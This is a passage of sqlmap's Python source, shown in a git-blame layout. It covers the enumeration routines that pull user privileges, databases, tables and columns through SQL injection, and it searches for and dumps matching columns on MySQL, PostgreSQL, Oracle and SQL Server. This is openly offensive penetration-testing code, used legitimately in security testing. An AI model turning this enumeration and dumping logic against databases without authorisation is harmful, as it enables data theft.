privs = privilege.split(",")
|
|
|
|
i = 1
|
|
|
|
|
|
|
|
for priv in privs:
|
|
|
|
if priv.isdigit() and int(priv) == 1:
|
|
|
|
for position, pgsqlPriv in pgsqlPrivs:
|
|
|
|
if position == i:
|
|
|
|
privileges.add(pgsqlPriv)
|
|
|
|
|
|
|
|
i += 1
|
|
|
|
|
|
|
|
# In MySQL >= 5.0 and Oracle we get the list
|
|
|
|
# of privileges as string
|
2009-04-22 15:48:07 +04:00
|
|
|
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
|
2008-10-15 19:38:22 +04:00
|
|
|
privileges.add(privilege)
|
|
|
|
|
|
|
|
# In MySQL < 5.0 we get Y if the privilege is
|
|
|
|
# True, N otherwise
|
2009-04-22 15:48:07 +04:00
|
|
|
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
privilege = privilege.replace(", ", ",")
|
|
|
|
privs = privilege.split(",")
|
|
|
|
i = 1
|
|
|
|
|
|
|
|
for priv in privs:
|
|
|
|
if priv.upper() == "Y":
|
|
|
|
for position, mysqlPriv in mysqlPrivs:
|
|
|
|
if position == i:
|
|
|
|
privileges.add(mysqlPriv)
|
|
|
|
|
|
|
|
i += 1
|
|
|
|
|
|
|
|
if self.__isAdminFromPrivileges(privileges):
|
|
|
|
areAdmins.add(user)
|
|
|
|
|
2008-11-02 21:17:12 +03:00
|
|
|
# In MySQL < 5.0 we break the cycle after the first
|
|
|
|
# time we get the user's privileges otherwise we
|
|
|
|
# duplicate the same query
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
break
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if privileges:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
|
|
|
warnMsg = "unable to retrieve the privileges "
|
|
|
|
warnMsg += "for user '%s'" % user
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
retrievedUsers.add(user)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedUsersPrivileges:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the privileges "
|
|
|
|
errMsg += "for the database users"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def getDbs(self):
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
warnMsg = "information_schema not available, "
|
|
|
|
warnMsg += "back-end DBMS is MySQL < 5. database "
|
2008-10-26 20:00:07 +03:00
|
|
|
warnMsg += "names will be fetched from 'mysql' database"
|
2008-10-15 19:38:22 +04:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching database names"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
rootQuery = queries[kb.dbms].dbs
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.unionPosition:
|
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
query = rootQuery["inband"]["query2"]
|
|
|
|
else:
|
|
|
|
query = rootQuery["inband"]["query"]
|
|
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if value:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedDbs = value
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedDbs:
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching number of databases"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
query = rootQuery["blind"]["count2"]
|
|
|
|
else:
|
|
|
|
query = rootQuery["blind"]["count"]
|
2009-04-22 15:48:07 +04:00
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the number of databases"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
|
|
|
indexRange = getRange(count)
|
|
|
|
|
|
|
|
for index in indexRange:
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
query = rootQuery["blind"]["query2"] % index
|
|
|
|
else:
|
|
|
|
query = rootQuery["blind"]["query"] % index
|
|
|
|
db = inject.getValue(query, inband=False)
|
|
|
|
|
|
|
|
if db:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedDbs.append(db)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedDbs:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the database names"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.cachedDbs
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def getTables(self):
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "information_schema not available, "
|
|
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
|
2008-10-26 19:19:15 +03:00
|
|
|
self.forceDbmsEnum()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching tables"
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.db:
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg += " for database '%s'" % conf.db
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
rootQuery = queries[kb.dbms].tables
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.unionPosition:
|
2008-10-15 19:38:22 +04:00
|
|
|
query = rootQuery["inband"]["query"]
|
|
|
|
condition = rootQuery["inband"]["condition"]
|
|
|
|
|
|
|
|
if conf.db:
|
|
|
|
if "," in conf.db:
|
|
|
|
dbs = conf.db.split(",")
|
|
|
|
query += " WHERE "
|
|
|
|
query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs)
|
|
|
|
else:
|
|
|
|
query += " WHERE %s='%s'" % (condition, conf.db)
|
|
|
|
elif conf.excludeSysDbs:
|
|
|
|
query += " WHERE "
|
|
|
|
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if value:
|
|
|
|
for db, table in value:
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedTables.has_key(db):
|
|
|
|
kb.data.cachedTables[db] = [table]
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedTables[db].append(table)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedTables:
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.db:
|
|
|
|
if "," in conf.db:
|
|
|
|
dbs = conf.db.split(",")
|
|
|
|
else:
|
|
|
|
dbs = [conf.db]
|
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
if not len(kb.data.cachedDbs):
|
2008-10-15 19:38:22 +04:00
|
|
|
dbs = self.getDbs()
|
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
dbs = kb.data.cachedDbs
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
for db in dbs:
|
|
|
|
if conf.excludeSysDbs and db in self.excludeDbsList:
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "skipping system database '%s'" % db
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
continue
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching number of tables for "
|
|
|
|
infoMsg += "database '%s'" % db
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
query = rootQuery["blind"]["count"] % db
|
2009-04-22 15:48:07 +04:00
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
2008-10-15 19:38:22 +04:00
|
|
|
warnMsg = "unable to retrieve the number of "
|
|
|
|
warnMsg += "tables for database '%s'" % db
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
|
|
|
|
|
|
|
tables = []
|
2010-01-09 03:05:00 +03:00
|
|
|
|
|
|
|
if kb.dbms in ( "Microsoft SQL Server", "Oracle" ):
|
|
|
|
plusOne = True
|
|
|
|
else:
|
|
|
|
plusOne = False
|
|
|
|
indexRange = getRange(count, plusOne=plusOne)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
for index in indexRange:
|
|
|
|
query = rootQuery["blind"]["query"] % (db, index)
|
|
|
|
table = inject.getValue(query, inband=False)
|
|
|
|
tables.append(table)
|
|
|
|
|
|
|
|
if tables:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedTables[db] = tables
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
|
|
|
warnMsg = "unable to retrieve the tables "
|
|
|
|
warnMsg += "for database '%s'" % db
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedTables:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the tables for any database"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.cachedTables
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def getColumns(self, onlyColNames=False):
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "information_schema not available, "
|
|
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
|
|
|
|
if not conf.tbl:
|
|
|
|
errMsg = "missing table parameter"
|
|
|
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
|
|
|
|
|
|
|
if "." in conf.tbl:
|
|
|
|
conf.db, conf.tbl = conf.tbl.split(".")
|
|
|
|
|
2008-10-26 19:19:15 +03:00
|
|
|
self.forceDbmsEnum()
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if not conf.db:
|
2008-11-13 01:53:25 +03:00
|
|
|
warnMsg = "missing database parameter, sqlmap is going to "
|
|
|
|
warnMsg += "use the current database to enumerate table "
|
|
|
|
warnMsg += "'%s' columns" % conf.tbl
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
conf.db = self.getCurrentDb()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
rootQuery = queries[kb.dbms].columns
|
2010-01-10 03:21:03 +03:00
|
|
|
condition = rootQuery["blind"]["condition"]
|
2010-01-09 03:05:00 +03:00
|
|
|
|
|
|
|
infoMsg = "fetching columns "
|
|
|
|
|
|
|
|
if conf.col:
|
|
|
|
if kb.dbms == "Oracle":
|
|
|
|
conf.col = conf.col.upper()
|
|
|
|
colList = conf.col.split(",")
|
|
|
|
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
|
|
|
|
infoMsg += "like '%s' " % ", ".join(col for col in colList)
|
|
|
|
else:
|
|
|
|
condQuery = ""
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg += "for table '%s' " % conf.tbl
|
|
|
|
infoMsg += "on database '%s'" % conf.db
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.unionPosition:
|
2008-10-15 19:38:22 +04:00
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
|
|
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
2010-01-10 03:21:03 +03:00
|
|
|
query += condQuery
|
2008-10-15 19:38:22 +04:00
|
|
|
elif kb.dbms == "Oracle":
|
|
|
|
query = rootQuery["inband"]["query"] % conf.tbl.upper()
|
2010-01-10 03:21:03 +03:00
|
|
|
query += condQuery
|
2008-10-15 19:38:22 +04:00
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
query = rootQuery["inband"]["query"] % (conf.db, conf.db,
|
|
|
|
conf.db, conf.db,
|
|
|
|
conf.db, conf.db,
|
|
|
|
conf.db, conf.tbl)
|
2010-01-10 03:21:03 +03:00
|
|
|
query += condQuery.replace("[DB]", conf.db)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if value:
|
|
|
|
table = {}
|
|
|
|
columns = {}
|
2010-01-09 03:05:00 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
for column, colType in value:
|
|
|
|
columns[column] = colType
|
2010-01-09 03:05:00 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
table[conf.tbl] = columns
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedColumns[conf.db] = table
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedColumns:
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching number of columns "
|
|
|
|
infoMsg += "for table '%s'" % conf.tbl
|
|
|
|
infoMsg += " on database '%s'" % conf.db
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
|
|
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
|
2010-01-10 03:21:03 +03:00
|
|
|
query += condQuery
|
2008-10-15 19:38:22 +04:00
|
|
|
elif kb.dbms == "Oracle":
|
|
|
|
query = rootQuery["blind"]["count"] % conf.tbl.upper()
|
2010-01-10 03:21:03 +03:00
|
|
|
query += condQuery
|
2008-10-15 19:38:22 +04:00
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
|
2010-01-10 03:21:03 +03:00
|
|
|
query += condQuery.replace("[DB]", conf.db)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the number of columns "
|
|
|
|
errMsg += "for table '%s' " % conf.tbl
|
|
|
|
errMsg += "on database '%s'" % conf.db
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
table = {}
|
|
|
|
columns = {}
|
|
|
|
|
2010-01-10 03:21:03 +03:00
|
|
|
# TODO: check on Oracle
|
|
|
|
if kb.dbms == "Oracle":
|
2008-11-25 14:33:44 +03:00
|
|
|
plusOne = True
|
|
|
|
else:
|
|
|
|
plusOne = False
|
|
|
|
indexRange = getRange(count, plusOne=plusOne)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
for index in indexRange:
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
2010-01-09 03:05:00 +03:00
|
|
|
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db)
|
2010-01-10 03:21:03 +03:00
|
|
|
query += condQuery
|
|
|
|
field = None
|
2008-10-15 19:38:22 +04:00
|
|
|
elif kb.dbms == "Oracle":
|
2010-01-09 03:05:00 +03:00
|
|
|
query = rootQuery["blind"]["query"] % (conf.tbl.upper())
|
2010-01-10 03:21:03 +03:00
|
|
|
query += condQuery
|
|
|
|
field = None
|
2008-10-15 19:38:22 +04:00
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
2010-01-10 03:21:03 +03:00
|
|
|
query = rootQuery["blind"]["query"] % (conf.db, conf.db,
|
|
|
|
conf.db, conf.db,
|
|
|
|
conf.db, conf.db,
|
|
|
|
conf.tbl)
|
|
|
|
query += condQuery.replace("[DB]", conf.db)
|
|
|
|
field = condition.replace("[DB]", conf.db)
|
|
|
|
|
|
|
|
query = agent.limitQuery(index, query, field)
|
2008-10-15 19:38:22 +04:00
|
|
|
column = inject.getValue(query, inband=False)
|
|
|
|
|
|
|
|
if not onlyColNames:
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
|
|
query = rootQuery["blind"]["query2"] % (conf.tbl, column, conf.db)
|
|
|
|
elif kb.dbms == "Oracle":
|
|
|
|
query = rootQuery["blind"]["query2"] % (conf.tbl.upper(), column)
|
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db,
|
|
|
|
conf.db, column, conf.db,
|
|
|
|
conf.db, conf.db, conf.tbl)
|
|
|
|
|
|
|
|
colType = inject.getValue(query, inband=False)
|
|
|
|
columns[column] = colType
|
|
|
|
else:
|
|
|
|
columns[column] = None
|
|
|
|
|
|
|
|
if columns:
|
|
|
|
table[conf.tbl] = columns
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedColumns[conf.db] = table
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedColumns:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the columns "
|
|
|
|
errMsg += "for table '%s' " % conf.tbl
|
|
|
|
errMsg += "on database '%s'" % conf.db
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.cachedColumns
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
def dumpColumn(self):
|
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
|
|
|
errMsg = "information_schema not available, "
|
|
|
|
errMsg += "back-end DBMS is MySQL < 5.0"
|
|
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
|
|
|
|
|
|
|
if not conf.col:
|
|
|
|
errMsg = "missing column parameter"
|
|
|
|
raise sqlmapMissingMandatoryOptionException, errMsg
|
|
|
|
|
|
|
|
rootQuery = queries[kb.dbms].dumpColumn
|
|
|
|
foundCols = {}
|
|
|
|
dbs = {}
|
|
|
|
colList = conf.col.split(",")
|
|
|
|
colCond = rootQuery["inband"]["condition"]
|
|
|
|
dbCond = rootQuery["inband"]["condition2"]
|
|
|
|
|
|
|
|
message = "do you want sqlmap to consider provided column(s):\n"
|
|
|
|
message += "[1] as LIKE column names (default)\n"
|
|
|
|
message += "[2] as exact column names"
|
|
|
|
colConsider = readInput(message, default="1")
|
|
|
|
|
|
|
|
if not colConsider or colConsider.isdigit() and colConsider == "1":
|
|
|
|
colConsider = "1"
|
|
|
|
colCondParam = " LIKE '%%%s%%'"
|
|
|
|
elif colConsider.isdigit() and colConsider == "2":
|
|
|
|
colCondParam = "='%s'"
|
|
|
|
else:
|
|
|
|
errMsg = "invalid value"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
|
|
|
for column in colList:
|
|
|
|
if kb.dbms == "Oracle":
|
|
|
|
column = column.upper()
|
|
|
|
conf.db = "USERS"
|
2010-01-10 22:12:54 +03:00
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
if not conf.db:
|
|
|
|
if not len(kb.data.cachedDbs):
|
|
|
|
enumDbs = self.getDbs()
|
|
|
|
else:
|
|
|
|
enumDbs = kb.data.cachedDbs
|
|
|
|
|
|
|
|
conf.db = ",".join(db for db in enumDbs)
|
2010-01-09 03:05:00 +03:00
|
|
|
|
|
|
|
foundCols[column] = {}
|
|
|
|
|
|
|
|
if conf.db:
|
|
|
|
for db in conf.db.split(","):
|
|
|
|
dbs[db] = {}
|
|
|
|
foundCols[column][db] = []
|
|
|
|
|
|
|
|
continue
|
|
|
|
|
|
|
|
infoMsg = "fetching databases with tables containing column"
|
|
|
|
if colConsider == "1":
|
|
|
|
infoMsg += "s like"
|
|
|
|
infoMsg += " '%s'" % column
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
if conf.excludeSysDbs and kb.dbms != "Oracle":
|
|
|
|
dbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
|
|
|
|
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
|
|
|
logger.info(infoMsg)
|
|
|
|
else:
|
|
|
|
dbsQuery = ""
|
|
|
|
|
|
|
|
colQuery = "%s%s" % (colCond, colCondParam)
|
|
|
|
colQuery = colQuery % column
|
|
|
|
|
|
|
|
if kb.unionPosition:
|
|
|
|
query = rootQuery["inband"]["query"]
|
|
|
|
query += colQuery
|
|
|
|
query += dbsQuery
|
|
|
|
values = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if values:
|
|
|
|
if isinstance(values, str):
|
|
|
|
values = [ values ]
|
|
|
|
|
|
|
|
for value in values:
|
|
|
|
dbs[value] = {}
|
|
|
|
foundCols[column][value] = []
|
|
|
|
else:
|
|
|
|
infoMsg = "fetching number of databases with tables containing column"
|
|
|
|
if colConsider == "1":
|
|
|
|
infoMsg += "s like"
|
|
|
|
infoMsg += " '%s'" % column
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
query = rootQuery["blind"]["count"]
|
|
|
|
query += colQuery
|
|
|
|
query += dbsQuery
|
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
|
|
|
|
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
|
|
|
warnMsg = "no databases have tables containing column"
|
|
|
|
if colConsider == "1":
|
|
|
|
warnMsg += "s like"
|
|
|
|
warnMsg += " '%s'" % column
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
continue
|
|
|
|
|
|
|
|
indexRange = getRange(count, plusOne=plusOne)
|
|
|
|
|
|
|
|
for index in indexRange:
|
|
|
|
query = rootQuery["blind"]["query"]
|
|
|
|
query += colQuery
|
|
|
|
query += dbsQuery
|
|
|
|
query = agent.limitQuery(index, query)
|
|
|
|
db = inject.getValue(query, inband=False)
|
|
|
|
dbs[db] = {}
|
|
|
|
foundCols[column][db] = []
|
|
|
|
|
|
|
|
for column, dbData in foundCols.items():
|
|
|
|
colQuery = "%s%s" % (colCond, colCondParam)
|
|
|
|
colQuery = colQuery % column
|
|
|
|
|
|
|
|
for db in dbData:
|
|
|
|
infoMsg = "fetching tables containing column"
|
|
|
|
if colConsider == "1":
|
|
|
|
infoMsg += "s like"
|
|
|
|
infoMsg += " '%s' in database '%s'" % (column, db)
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
if kb.unionPosition:
|
|
|
|
query = rootQuery["inband"]["query2"]
|
2010-01-10 22:12:54 +03:00
|
|
|
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
2010-01-09 03:05:00 +03:00
|
|
|
query = query % db
|
|
|
|
query += " AND %s" % colQuery
|
2010-01-10 22:12:54 +03:00
|
|
|
elif kb.dbms == "Oracle":
|
|
|
|
query += " WHERE %s" % colQuery
|
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
query = query % (db, db, db, db, db)
|
|
|
|
query += " AND %s" % colQuery.replace("[DB]", db)
|
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
values = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if values:
|
|
|
|
if isinstance(values, str):
|
|
|
|
values = [ values ]
|
|
|
|
|
|
|
|
for value in values:
|
|
|
|
if value not in dbs[db]:
|
|
|
|
dbs[db][value] = {}
|
|
|
|
|
|
|
|
dbs[db][value][column] = None
|
|
|
|
foundCols[column][db].append(value)
|
|
|
|
else:
|
|
|
|
infoMsg = "fetching number of tables containing column"
|
|
|
|
if colConsider == "1":
|
|
|
|
infoMsg += "s like"
|
|
|
|
infoMsg += " '%s' in database '%s'" % (column, db)
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
query = rootQuery["blind"]["count2"]
|
2010-01-10 22:12:54 +03:00
|
|
|
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
2010-01-09 03:05:00 +03:00
|
|
|
query = query % db
|
|
|
|
query += " AND %s" % colQuery
|
2010-01-10 22:12:54 +03:00
|
|
|
elif kb.dbms == "Oracle":
|
|
|
|
query += " WHERE %s" % colQuery
|
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
query = query % (db, db, db, db, db)
|
|
|
|
query += " AND %s" % colQuery.replace("[DB]", db)
|
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
|
|
|
|
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
|
|
|
warnMsg = "no tables contain column"
|
|
|
|
if colConsider == "1":
|
|
|
|
warnMsg += "s like"
|
2010-01-10 22:12:54 +03:00
|
|
|
warnMsg += " '%s' " % column
|
2010-01-09 03:05:00 +03:00
|
|
|
warnMsg += "in database '%s'" % db
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
continue
|
|
|
|
|
|
|
|
indexRange = getRange(count, plusOne=plusOne)
|
|
|
|
|
|
|
|
for index in indexRange:
|
|
|
|
query = rootQuery["blind"]["query2"]
|
2010-01-10 22:12:54 +03:00
|
|
|
|
|
|
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
2010-01-09 03:05:00 +03:00
|
|
|
query = query % db
|
|
|
|
query += " AND %s" % colQuery
|
2010-01-10 22:12:54 +03:00
|
|
|
field = None
|
|
|
|
elif kb.dbms == "Oracle":
|
|
|
|
query += " WHERE %s" % colQuery
|
|
|
|
field = None
|
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
query = query % (db, db, db, db, db)
|
|
|
|
query += " AND %s" % colQuery.replace("[DB]", db)
|
|
|
|
field = colCond.replace("[DB]", db)
|
|
|
|
|
|
|
|
query = agent.limitQuery(index, query, field)
|
2010-01-09 03:05:00 +03:00
|
|
|
tbl = inject.getValue(query, inband=False)
|
|
|
|
|
|
|
|
if tbl not in dbs[db]:
|
|
|
|
dbs[db][tbl] = {}
|
|
|
|
|
|
|
|
dbs[db][tbl][column] = None
|
|
|
|
foundCols[column][db].append(tbl)
|
|
|
|
|
|
|
|
if colConsider == "1":
|
|
|
|
okDbs = {}
|
|
|
|
|
|
|
|
for db, tableData in dbs.items():
|
|
|
|
conf.db = db
|
|
|
|
okDbs[db] = {}
|
|
|
|
|
|
|
|
for tbl, columns in tableData.items():
|
|
|
|
conf.tbl = tbl
|
|
|
|
|
|
|
|
for column in columns:
|
|
|
|
conf.col = column
|
|
|
|
|
|
|
|
self.getColumns(onlyColNames=True)
|
|
|
|
|
|
|
|
if tbl in okDbs[db]:
|
|
|
|
okDbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
|
|
|
|
else:
|
|
|
|
okDbs[db][tbl] = kb.data.cachedColumns[db][tbl]
|
|
|
|
|
|
|
|
kb.data.cachedColumns = {}
|
|
|
|
|
|
|
|
dbs = okDbs
|
|
|
|
|
|
|
|
if not dbs:
|
|
|
|
warnMsg = "no databases have tables containing any of the "
|
|
|
|
warnMsg += "provided columns"
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
return
|
|
|
|
|
|
|
|
dumper.dbColumns(foundCols, colConsider, dbs)
|
|
|
|
|
|
|
|
message = "do you want to dump entries? [Y/n] "
|
|
|
|
output = readInput(message, default="Y")
|
|
|
|
|
2010-01-10 00:39:10 +03:00
|
|
|
if output and output[0] not in ("y", "Y"):
|
2010-01-09 03:05:00 +03:00
|
|
|
return
|
|
|
|
|
|
|
|
dumpFromDbs = []
|
2010-01-10 00:39:10 +03:00
|
|
|
message = "which database(s)?\n[a]ll (default)\n"
|
2010-01-09 03:05:00 +03:00
|
|
|
|
2010-01-10 22:12:54 +03:00
|
|
|
